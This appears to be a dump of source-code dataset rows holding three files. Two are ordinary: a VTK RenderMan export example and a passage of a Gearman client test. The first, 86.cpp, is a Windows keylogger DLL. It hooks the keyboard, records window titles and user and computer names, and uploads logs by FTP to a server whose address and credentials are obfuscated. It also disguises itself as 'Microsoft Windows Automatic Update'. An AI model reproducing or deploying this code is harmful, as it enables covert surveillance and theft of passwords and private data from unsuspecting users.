blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 4 201 | content_id stringlengths 40 40 | detected_licenses listlengths 0 85 | license_type stringclasses 2
values | repo_name stringlengths 7 100 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 260
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 11.4k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 80
values | src_encoding stringclasses 28
values | language stringclasses 1
value | is_vendor bool 1
class | is_generated bool 2
classes | length_bytes int64 8 9.86M | extension stringclasses 52
values | content stringlengths 8 9.86M | authors listlengths 1 1 | author stringlengths 0 119 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d55ba541892c20a676882044ea1dd183d50c28a9 | 8168f1cdbfa52f4be4aac0dd81332aff44876c9e | /Really-Old-C-Projects/SherlockHolmes/Watson/Backup/86.cpp | 7f2821486fe78dc419e450bccecf3aceb379c098 | [] | no_license | hansongjing/Old-Projects | 710c458947a3740083b96d42ee6eb736cea90108 | bc33fb3c0edfbadc7bafad61a58a58bbe71fa198 | refs/heads/master | 2021-01-15T17:29:26.286335 | 2013-03-20T15:46:51 | 2013-03-20T15:46:51 | null | 0 | 0 | null | null | null | null | ISO-8859-1 | C++ | false | false | 19,636 | cpp |
// Library for Remote Controlled Monitoring & Administration
// of Windows based computers. Program written by Arjun Menon
#include <windows.h>
#include <wininet.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <fstream.h>
/*********************.
| Function Prototypes |
`*********************/
__declspec(dllexport) void ActivateSystem
(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
__declspec(dllexport) void AutomaticUpdate
(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
BOOL APIENTRY DllMain(HINSTANCE hModule,
DWORD reason_for_call, LPVOID reserved);
/* System Monitoring */
void WINAPI StartSystem(HINSTANCE hInstance,
HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow);
LRESULT CALLBACK MonWP (HWND hwnd, UINT message,
WPARAM wParam,LPARAM lParam);
void StartSensing();
void WriteInformation(char *str);
void InvertArray(char *X,
const unsigned long int N);
void XorArray(char *str,
const unsigned long int n, const char *key);
LRESULT CALLBACK KeyboardHookProc
(int code, WPARAM wParam, LPARAM lParam);
void CALLBACK WindowTimer (HWND hwnd,
UINT message, UINT iTimerID, DWORD dwTime);
void CALLBACK TimeStamp (HWND hwnd,
UINT message, UINT iTimerID, DWORD dwTime);
void TimeAndDate(char *str);
void DescribeKey(WPARAM wParam, char *keyw);
/* Remote Information Storage */
DWORD WINAPI StartUpdate(PVOID pParam);
void WINAPI UpdateProc(HINSTANCE hInstance,
HINSTANCE hPrevInstance, PSTR szCmdLine, int nCmdShow);
LRESULT CALLBACK UpdWP (HWND hwnd, UINT message,
WPARAM wParam,LPARAM lParam);
void CALLBACK UpdateTimer (HWND hwnd,
UINT message, UINT iTimerID, DWORD dwTime);
inline unsigned long int LogLimit();
inline char UploadLog(unsigned long int no);
inline unsigned long int GetCompId(HINTERNET hFtp);
/* Common Application Services */
HWND MakeSillyWindow(HINSTANCE hInstance,
WNDPROC WndProc, LPCTSTR WndName);
void fix(char *s);
void InitializeStrings();
/********************************.
| Global Variables and Constants |
`********************************/
#define STR_SZ1 64
#define STR_SZ2 512
#define MAX_FSZ 4096
#define MSG(M) MessageBox(NULL,"",M,0);
const char AppName[] = "Microsoft® Windows® Operating System";
const char AppName2[] = "Microsoft® Windows® Automatic Update";
char Password[] = "a";
char BaseDirectory[MAX_PATH];
HANDLE hDLL = NULL;
HHOOK KeyHook = NULL;
#define WINDOW_TIMER 100
#define TIME_STAMP 60000
#define UPDATE_TIMER 3000
char LocLogFileExt[] = "*ibh";
char LogCountFile[] = "]llicip*ouo";
char SrvLogFileExt[] = "*ceb";
char UplinkCountFile[] = "qe_kna/.*ouo";
char LocIdFile[] = "_onoo*ouo";
char SrvIdFile[] = "_kqjp*ceb";
char InternetCheckMask[] = "dppl6++sss*ie_nkokbp*_ki";
char FtpServer[] = "sss*ejpanhejg*-1,i*_ki";
char FtpUserName[] = "ejpanhejg*-1,i*_ki";
char FtpPassword[] = "Ecjeo=qnqiLnk^]p";
/***************************.
| Exported DLL Entry Points |
`***************************/
__declspec(dllexport) void ActivateSystem
(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
InitializeStrings();
StartSystem((HINSTANCE)hDLL, NULL, lpszCmdLine, SW_NORMAL);
}
BOOL APIENTRY DllMain
(HINSTANCE hModule, DWORD reason_for_call, LPVOID reserved)
{
hDLL = hModule;
return TRUE;
}
/***************************.
| System Monitoring Program |
`***************************/
void WINAPI StartSystem(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
PSTR szCmdLine, int nCmdShow)
{
HWND hWnd = MakeSillyWindow
(hInstance,MonWP,AppName);
ShowWindow(hWnd, nCmdShow);
MSG msg; /* the message catcher... */
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
}
LRESULT CALLBACK MonWP (HWND hWnd, UINT message,
WPARAM wParam,LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
TimeStamp(NULL,0,0,0);
SetTimer(hWnd, 1, WINDOW_TIMER, WindowTimer);
SetTimer(hWnd, 2, TIME_STAMP, TimeStamp);
StartSensing();
break;
case WM_CLOSE:
KillTimer (hWnd, 1);
KillTimer (hWnd, 2);
DestroyWindow(hWnd);
break;
case WM_DESTROY:
PostQuitMessage (0);
return 0;
}
return DefWindowProc (hWnd, message, wParam, lParam) ;
}
void StartSensing()
{
/* start the keylogger */
KeyHook = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardHookProc,(HINSTANCE)hDLL,(DWORD)NULL);
/* start the update */
DWORD UpdId = 0;
CreateThread(NULL,0,StartUpdate,NULL,0,&UpdId);
}
void Writy(char *str)
{
MessageBeep(-1);
}
void WriteInformation(char *str)
{
static BOOL write_semaphore = FALSE;
if(!str)
goto exit_point;
if(write_semaphore == TRUE) {
/* wait for pending write to complete */
while(write_semaphore);
} else
write_semaphore = TRUE;
Writy(str);
exit_point:
write_semaphore = FALSE;
}
void InvertArray(char *X, const unsigned long int N)
{
register unsigned int i = 0;
for(;i<N;i++) X[i] = (char)(~(char)(X[i]));
}
void XorArray(char *str, const unsigned long int n,
const char *key)
{
const int keylen = strlen(key);
register unsigned int i = 0;
for(;i<n;i++) /* XOR encryption */
str[i] = (char)((char)(str[i])^(char)(key[i%keylen]));
}
LRESULT CALLBACK KeyboardHookProc
(int code, WPARAM wParam, LPARAM lParam)
{
/* The 32nd bit of lParam tells us if
the key is being pressed or released */
if(!(lParam >> 31))
{
char *keyw = (char *)calloc(STR_SZ1, sizeof(char));
DescribeKey(wParam, keyw);
/* The first 16 bits of lParam tells
us how long the key was pressed */
UINT repeat = (lParam << 16) >> 16;
if(!repeat) repeat = 1;
char *key = (char *) calloc
((repeat * strlen(keyw))+1, sizeof(char));
if(key == NULL)
goto exit_point;
while(repeat--)
strcat(key, keyw);
if(key)
WriteInformation(key);
exit_point:
free(keyw);
free(key);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
void CALLBACK WindowTimer (HWND hwnd,
UINT message,
UINT iTimerID,
DWORD dwTime)
{
static HWND ForegroundWindow = NULL;
static char *PreviousWindowName = NULL;
BOOL has_changed = FALSE;
if(GetForegroundWindow() != ForegroundWindow) {
has_changed = TRUE;
ForegroundWindow = GetForegroundWindow();
}
/* get WindowName */
int size = GetWindowTextLength(ForegroundWindow)+1;
char *WindowName = (char *)calloc(size,sizeof(char));
size = GetWindowText(ForegroundWindow, WindowName, size);
if(PreviousWindowName != NULL && WindowName != NULL) {
if(strcmp(PreviousWindowName, WindowName))
has_changed = TRUE;
} else has_changed = TRUE;
if(has_changed)
{
if(PreviousWindowName)
free(PreviousWindowName);
if(WindowName) {
if(strlen(WindowName)) {
char *str = (char *)calloc
((size+STR_SZ1)+STR_SZ2,sizeof(char));
sprintf(str,"\n\r%s\n",WindowName);
WriteInformation(str);
free(str);
}
}
}
PreviousWindowName = WindowName;
}
void CALLBACK TimeStamp(HWND hwnd,
UINT message,
UINT iTimerID,
DWORD dwTime)
{
char *str = (char *)calloc(STR_SZ2+20,1),
*sub = (char *)calloc(STR_SZ2,1);
static char brrr = 0;
if(!(brrr%17)) {
brrr++;
// for every 17 calls do this....
unsigned long int bsize = STR_SZ2;
if( !GetComputerName(sub,&bsize) ) {
sub = (char *) realloc (sub, bsize);
GetComputerName(sub,&bsize);
}
sprintf(str," # Computer Name: %s\r\n",sub);
WriteInformation(str);
if( !GetUserName(sub,&bsize) ) {
sub = (char *) realloc (sub, bsize);
GetUserName(sub,&bsize);
}
sprintf(str," # User Name: %s\r\n",sub);
WriteInformation(str);
OSVERSIONINFO ya;
ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if( GetVersionEx(&ya) ) {
sprintf(str," # Version %u.%u Build %u ",
ya.dwMajorVersion,
ya.dwMinorVersion,
ya.dwBuildNumber);
if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
strcat(str,"Windows 9x ");
else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT)
strcat(str,"Windows NT ");
strcat(str,ya.szCSDVersion);
WriteInformation(str);
}
}
TimeAndDate(sub);
sprintf(str,"\n\rTime %s\n",sub);
WriteInformation(str);
free(sub);
free(str);
}
void TimeAndDate(char *str)
{
TIME_ZONE_INFORMATION here;
SYSTEMTIME utc, local;
GetTimeZoneInformation(&here);
GetLocalTime(&local);
GetSystemTime(&utc);
char AM_PM[3];
if(local.wHour>12) {
strcpy(AM_PM,"PM");
local.wHour -= 12;
} else strcpy(AM_PM,"AM");
sprintf(str,
"%u/%u/%u %u:%u:%u %s (%uH%uM GMT)",
local.wDay,
local.wMonth,
local.wYear,
local.wHour,
local.wMinute,
local.wSecond,
AM_PM,
utc.wHour,
utc.wMinute
);
}
void DescribeKey(WPARAM wParam, char *keyw)
{
char vkc = 0; /* virtual key code */
vkc = /* maintain alphabet case */
((GetKeyState(VK_SHIFT) < 0)&&(
!(GetKeyState(VK_CAPITAL) < 0)))
? toupper((char)(wParam))
: tolower((char)(wParam));
/* numeric pad keys 0 to 10 */
if((wParam >= VK_NUMPAD0)&&
(wParam <= VK_NUMPAD9))
sprintf(keyw,"[NumPad:%u]",
(wParam - VK_NUMPAD0));
/* keys from 0 to 9 , A to Z and space */
else if(((wParam >= 0x30)
&&(wParam <= 0x5A))
||(wParam == 0x20))
{
keyw[0] = vkc;
keyw[1] = 0;
}
else switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break;
case VK_F1: strcpy(keyw,"[F1]"); break;
case VK_F2: strcpy(keyw,"[F2]"); break;
case VK_F3: strcpy(keyw,"[F3]"); break;
case VK_F4: strcpy(keyw,"[F4]"); break;
case VK_F5: strcpy(keyw,"[F5]"); break;
case VK_F6: strcpy(keyw,"[F6]"); break;
case VK_F7: strcpy(keyw,"[F7]"); break;
case VK_F8: strcpy(keyw,"[F8]"); break;
case VK_F9: strcpy(keyw,"[F9]"); break;
case VK_F10: strcpy(keyw,"[F10]"); break;
case VK_F11: strcpy(keyw,"[F11]"); break;
case VK_F12: strcpy(keyw,"[F12]"); break;
case VK_F13: strcpy(keyw,"[F13]"); break;
case VK_F14: strcpy(keyw,"[F14]"); break;
case VK_F15: strcpy(keyw,"[F15]"); break;
case VK_F16: strcpy(keyw,"[F16]"); break;
case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break;
case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break;
case VK_ATTN: strcpy(keyw,"[ATTN]"); break;
case VK_CRSEL: strcpy(keyw,"[CrSel]"); break;
case VK_EXSEL: strcpy(keyw,"[ExSel]"); break;
case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break;
case VK_PLAY: strcpy(keyw,"[PLAY]"); break;
case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break;
default:
sprintf(keyw,"[(%d)%c]",wParam,wParam);
break;
}
}
/************************************.
| Remote Information Storage Program |
`************************************/
DWORD WINAPI StartUpdate(PVOID pParam)
{
UpdateProc((HINSTANCE)hDLL, NULL, NULL, SW_NORMAL);
return 0;
}
void WINAPI UpdateProc(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
PSTR szCmdLine, int nCmdShow)
{
HWND hWnd = MakeSillyWindow
(hInstance,UpdWP,AppName2);
ShowWindow(hWnd, nCmdShow);
MSG msg; /* the message catcher... */
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
}
LRESULT CALLBACK UpdWP (HWND hWnd, UINT message,
WPARAM wParam,LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
SetTimer(hWnd, 1, UPDATE_TIMER, UpdateTimer);
break;
case WM_CLOSE:
KillTimer (hWnd, 1);
DestroyWindow(hWnd);
break;
case WM_DESTROY:
PostQuitMessage (0);
return 0;
}
return DefWindowProc (hWnd, message, wParam, lParam) ;
}
void CALLBACK UpdateTimer(HWND hwnd,
UINT message,
UINT iTimerID,
DWORD dwTime)
{
static BOOL semaphore = FALSE;
if(semaphore == TRUE)
return;
else
semaphore = TRUE;
static FILE *uf = NULL;
if(uf == NULL) {
char fname[STR_SZ1];
sprintf(fname,"%s%s",BaseDirectory,UplinkCountFile);
uf = fopen(fname,"r+b");
if(uf == NULL) {
uf = fopen(fname,"w+b");
if(uf == NULL) {
semaphore = FALSE;
return;
}
unsigned long int one = 1;
fwrite(&one, sizeof(unsigned long int), 1, uf);
rewind(uf);
}
}
unsigned long int limit = LogLimit();
unsigned long int current = 0;
fread(¤t, sizeof(unsigned long int), 1, uf);
rewind(uf);
if(current < limit) {
if( UploadLog(current) ) {
// file was uploaded successfully
current++;
fwrite(¤t, sizeof(unsigned long int), 1, uf);
rewind(uf);
}
}
semaphore = FALSE;
}
inline unsigned long int LogLimit()
{
unsigned long int limit = 0;
FILE *cf = NULL;
auto char cfname[STR_SZ2];
sprintf(cfname,"%s%s",BaseDirectory,LogCountFile);
cf = fopen(cfname,"r+b");
if(cf != NULL) {
fread(&limit, sizeof(unsigned long int), 1, cf);
fclose(cf);
}
return limit;
}
inline char UploadLog(unsigned long int no)
{
/* this function will transfer the log
files one by one to the FTP server */
static BOOL semaphore = FALSE;
if(semaphore == TRUE)
return 0;
else
semaphore = TRUE;
if(InternetCheckConnection(InternetCheckMask,FLAG_ICC_FORCE_CONNECTION,0))
{
/* connect me to the internet */
HINTERNET hNet = InternetOpen(AppName2, PRE_CONFIG_INTERNET_ACCESS,
NULL, INTERNET_INVALID_PORT_NUMBER, 0 );
if(hNet != NULL)
{
/* connect me to the remote FTP Server */
HINTERNET hFtp = InternetConnect(hNet,FtpServer,
INTERNET_DEFAULT_FTP_PORT,FtpUserName,FtpPassword,
INTERNET_SERVICE_FTP, 0, 0);
if(hFtp != NULL)
{
/* successful connection to FTP server established */
char local_file[STR_SZ1], remote_file[STR_SZ1];
sprintf(local_file,"%s%lX%s",BaseDirectory,no,LocLogFileExt);
sprintf(remote_file,"%lu-%lX%s",GetCompId(hFtp),no,SrvLogFileExt);
//MessageBox(NULL,local_file,remote_file,0);
if(FtpPutFile(hFtp, local_file, remote_file, 0, 0))
{
/* file transfer OK */
InternetCloseHandle(hFtp);
InternetCloseHandle(hNet);
semaphore = FALSE;
return 1;
}
else {
/* file transfer failed */
InternetCloseHandle(hFtp);
InternetCloseHandle(hNet);
semaphore = FALSE;
return 0;
}
}
else {
/* connection to FTP server failed */
InternetCloseHandle(hNet);
semaphore = FALSE;
return 0;
}
}
else {
/* connection to internet failed */
semaphore = FALSE;
return 0;
}
}
/* internet connection is not available
either because the person is not online
or because a firewall has blocked me */
semaphore = FALSE;
return 0;
}
inline unsigned long int GetCompId(HINTERNET hFtp)
{
/* this function returns an ID number (postive integer)
that can be used to uniquely identify this
computer on a particulat FTP server. */
unsigned long int cid = 0;
char retrieve_id = 0;
char idf_name[STR_SZ1];
sprintf(idf_name,"%s%s",BaseDirectory,LocIdFile);
FILE *idf = NULL;
if((idf = fopen(idf_name,"r+b")) != NULL)
{
if(fread(&cid,sizeof(unsigned long int),1,idf))
{
// Got the ID number
fclose(idf);
return cid;
}
else {
fclose(idf);
retrieve_id = 1;
}
}
else
retrieve_id = 1;
/* this a new computer, so
we have to make a new
ID number for it. */
if(retrieve_id)
{
/* this code is executed ONLY ONCE
after the installion / first run. */
if(FtpGetFile(hFtp, SrvIdFile, idf_name, FALSE,
NULL, FTP_TRANSFER_TYPE_BINARY, 0))
{
/* the FTP server has been established
previously by some other computer */
if((idf = fopen(idf_name,"r+b")) != NULL)
{
if(fread(&cid,sizeof(unsigned long int),1,idf))
{
// Got the old ID number, now set the new ID number
rewind(idf);
cid++;
fwrite(&cid,sizeof(unsigned long int),1,idf);
fclose(idf);
// Now update the FTP server with new ID number
FtpPutFile(hFtp, idf_name, SrvIdFile, 0, 0);
return cid;
}
else // file downloaded from FTP
{ // server is not an ID file
fclose(idf);
return cid;
}
}
else // can't open local ID file
return cid;
}
else
{
/* the FTP server is fresh, so now we
must establish our presence there */
if((idf = fopen(idf_name,"w+b")) != NULL)
{
/* setup the local ID number file
with the initial value = 1 */
cid = 1;
fwrite(&cid,sizeof(unsigned long int),1,idf);
fclose(idf);
FtpPutFile(hFtp, idf_name, SrvIdFile, 0, 0);
return cid;
}
}
}
// we already have an ID number
return cid;
}
/*****************************.
| Common Application Services |
`*****************************/
HWND MakeSillyWindow(HINSTANCE hInstance,
WNDPROC WndProc, LPCTSTR WndName)
{
WNDCLASS wndclass ;
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_WINLOGO);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) COLOR_BTNFACE;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = WndName;
if (!RegisterClass (&wndclass))
return NULL ;
return CreateWindow (WndName, WndName,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL) ;
}
void fix(char *s)
{
while(*s!='\0') *(s++) = (char)((char)(*s) + 4);
}
void InitializeStrings()
{
fix(LocLogFileExt);
fix(LogCountFile);
fix(SrvLogFileExt);
fix(UplinkCountFile);
fix(LocIdFile);
fix(SrvIdFile);
fix(InternetCheckMask);
fix(FtpServer);
fix(FtpUserName);
fix(FtpPassword);
// to get BaseDirectory
GetSystemDirectory(BaseDirectory,STR_SZ1);
strcat(BaseDirectory,"\\srvdat\\");
CreateDirectory(BaseDirectory,NULL);
}
| [
"contact@arjungmenon.com"
] | contact@arjungmenon.com |
d94c09264625a9a6bfe93a3ba4a07857efde45a4 | 258e3482412282b45b06c7b6b19ea2747e6a7fe7 | /src/Cxx/RenderMan/PolyDataRIB.cxx | 7b9bb3a9b1ad02fe5fc8ba8cffffce6dc7de2a0d | [
"Apache-2.0"
] | permissive | alvarosan/VTKExamples | 5510fcb1b92283034fc083493d8f3b2496734eb7 | c259e38e1558457d3d802e27b7e5838e3df63a10 | refs/heads/master | 2021-07-06T09:35:14.413828 | 2017-09-26T11:53:23 | 2017-09-26T11:53:23 | 104,943,066 | 0 | 0 | null | 2017-09-26T22:13:28 | 2017-09-26T22:13:28 | null | UTF-8 | C++ | false | false | 4,230 | cxx | #include <vtkXMLPolyDataReader.h>
#include <vtkSmartPointer.h>
#include <vtkPolyDataMapper.h>
#include <vtkPolyDataNormals.h>
#include <vtkActor.h>
#include <vtkRenderWindow.h>
#include <vtkRenderer.h>
#include <vtkRenderWindowInteractor.h>
#include <vtkRIBExporter.h>
#include <vtkRIBProperty.h>
#include <vtksys/SystemTools.hxx>
static vtkSmartPointer<vtkRIBProperty> spatter(const char *sizes,
const char *specksize,
const char *spattercolor,
const char *basecolor);
static vtkSmartPointer<vtkRIBProperty> rmarble(const char *veining);
int main ( int argc, char *argv[] )
{
// Parse command line arguments
if(argc < 2)
{
std::cerr << "Usage: " << argv[0]
<< " Filename(.vtp) [freqency]" << std::endl;
return EXIT_FAILURE;
}
const char *freq = "1";
if (argc > 2)
{
freq = argv[2];
}
std::string filename = argv[1];
std::string prefix = vtksys::SystemTools::GetFilenameWithoutExtension(filename);
// Read all the data from the file
vtkSmartPointer<vtkXMLPolyDataReader> reader =
vtkSmartPointer<vtkXMLPolyDataReader>::New();
reader->SetFileName(filename.c_str());
reader->Update();
vtkSmartPointer<vtkPolyDataNormals> normals =
vtkSmartPointer<vtkPolyDataNormals>::New();
normals->SetInputConnection(reader->GetOutputPort());
// Visualize
vtkSmartPointer<vtkPolyDataMapper> mapper =
vtkSmartPointer<vtkPolyDataMapper>::New();
mapper->SetInputConnection(normals->GetOutputPort());
vtkSmartPointer<vtkActor> actor =
vtkSmartPointer<vtkActor>::New();
actor->SetMapper(mapper);
actor->SetProperty(rmarble(freq));
vtkSmartPointer<vtkRenderer> renderer =
vtkSmartPointer<vtkRenderer>::New();
vtkSmartPointer<vtkRenderWindow> renderWindow =
vtkSmartPointer<vtkRenderWindow>::New();
renderWindow->AddRenderer(renderer);
vtkSmartPointer<vtkRenderWindowInteractor> renderWindowInteractor =
vtkSmartPointer<vtkRenderWindowInteractor>::New();
renderWindowInteractor->SetRenderWindow(renderWindow);
renderer->AddActor(actor);
renderer->SetBackground(.1, .3, .5); // Background color green
renderWindow->Render();
renderWindowInteractor->Start();
prefix = prefix + "_" + freq;
vtkSmartPointer<vtkRIBExporter> aRib =
vtkSmartPointer<vtkRIBExporter>::New();
aRib->BackgroundOn();
aRib->SetInput(renderWindow);
aRib->SetFilePrefix(prefix.c_str());
aRib->Write();
std::cout << "Exported RIB file is: " << prefix << ".rib" << std::endl;
if (getenv("RMANTREE") == NULL)
{
std::cout << "To render the generated rib file, set the environment variable RMANTREE to the base of your RenderMan install" << std::endl;
}
else
{
std::string rmantree = getenv("RMANTREE");
std::cout << "To create a tif file run: " << std::endl;
std::cout << rmantree << "bin/prman " << prefix << ".rib " << std::endl;
}
return EXIT_SUCCESS;
}
vtkSmartPointer<vtkRIBProperty> spatter(const char *sizes,
const char *specksize,
const char *spattercolor,
const char *basecolor)
{
vtkSmartPointer<vtkRIBProperty> spatterProp =
vtkSmartPointer<vtkRIBProperty>::New ();
spatterProp->SetVariable("sizes", "float");
spatterProp->AddVariable("specksize", "float");
spatterProp->AddVariable("spattercolor", "color");
spatterProp->AddVariable("basecolor", "color");
spatterProp->SetSurfaceShaderParameter("sizes", sizes);
spatterProp->AddSurfaceShaderParameter("specksize", specksize);
spatterProp->AddSurfaceShaderParameter("spattercolor", spattercolor);
spatterProp->AddSurfaceShaderParameter("basecolor", basecolor);
spatterProp->SetSurfaceShader("spatter");
return spatterProp;
}
vtkSmartPointer<vtkRIBProperty> rmarble(const char *veining)
{
vtkSmartPointer<vtkRIBProperty> rmarbleProp =
vtkSmartPointer<vtkRIBProperty>::New ();
rmarbleProp->SetVariable("veining", "float");
rmarbleProp->SetSurfaceShaderParameter("veining", veining);
rmarbleProp->SetSurfaceShader("rmarble");
return rmarbleProp;
}
| [
"bill.lorensen@gmail.com"
] | bill.lorensen@gmail.com |
1c00d49e788dc7fd6cdd7033245ff747b1a3ccb9 | 999e9dacb2532e20964efb6c6d105ed83e4b4481 | /tests/libgearman-1.0/gearman_execute_partition.cc | cf6fe44f2b1639cc9511c44868937acd4cb8996f | [
"BSD-3-Clause"
] | permissive | longerpop/gearman | 968a389a885564def495477cdc52bd1573874aef | d8ccb2ba54d41f6f800963980cced0b5d04b2596 | refs/heads/master | 2021-01-21T03:39:49.677149 | 2013-03-10T16:15:31 | 2013-03-10T16:15:31 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,413 | cc | /* vim:expandtab:shiftwidth=2:tabstop=2:smarttab:
*
* Gearmand client and server library.
*
* Copyright (C) 2011 Data Differential, http://datadifferential.com/
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
*
* * The names of its contributors may not be used to endorse or
* promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include "gear_config.h"
#include <libtest/test.hpp>
using namespace libtest;
#include <cassert>
#include <cstring>
#include <libgearman/gearman.h>
#include "tests/gearman_execute_partition.h"
#include "tests/libgearman-1.0/client_test.h"
#include "tests/workers/v2/echo_or_react.h"
#include "tests/workers/v2/split.h"
#include "tests/workers/aggregator/cat.h"
#ifndef __INTEL_COMPILER
#pragma GCC diagnostic ignored "-Wold-style-cast"
#endif
#define WORKER_FUNCTION_NAME "client_test"
#define WORKER_SPLIT_FUNCTION_NAME "split_worker"
test_return_t partition_SETUP(void *object)
{
client_test_st *test= (client_test_st *)object;
test_true(test);
test->set_worker_name(WORKER_FUNCTION_NAME);
gearman_function_t echo_react_fn= gearman_function_create_v2(echo_or_react_worker_v2);
test->push(test_worker_start(libtest::default_port(), NULL,
test->worker_name(),
echo_react_fn, NULL, gearman_worker_options_t()));
gearman_function_t split_worker_fn= gearman_function_create_partition(split_worker, cat_aggregator_fn);
test->push(test_worker_start(libtest::default_port(), NULL,
WORKER_SPLIT_FUNCTION_NAME,
split_worker_fn, NULL, GEARMAN_WORKER_GRAB_ALL));
return TEST_SUCCESS;
}
test_return_t partition_free_SETUP(void *object)
{
client_test_st *test= (client_test_st *)object;
ASSERT_EQ(TEST_SUCCESS, partition_SETUP(object));
gearman_client_add_options(test->client(), GEARMAN_CLIENT_FREE_TASKS);
return TEST_SUCCESS;
}
test_return_t gearman_execute_partition_check_parameters(void *object)
{
gearman_client_st *client= (gearman_client_st *)object;
test_true(client);
ASSERT_EQ(GEARMAN_SUCCESS,
gearman_client_echo(client, test_literal_param("this is mine")));
// This just hear to make it easier to trace when gearman_execute() is
// called (look in the log to see the failed option setting.
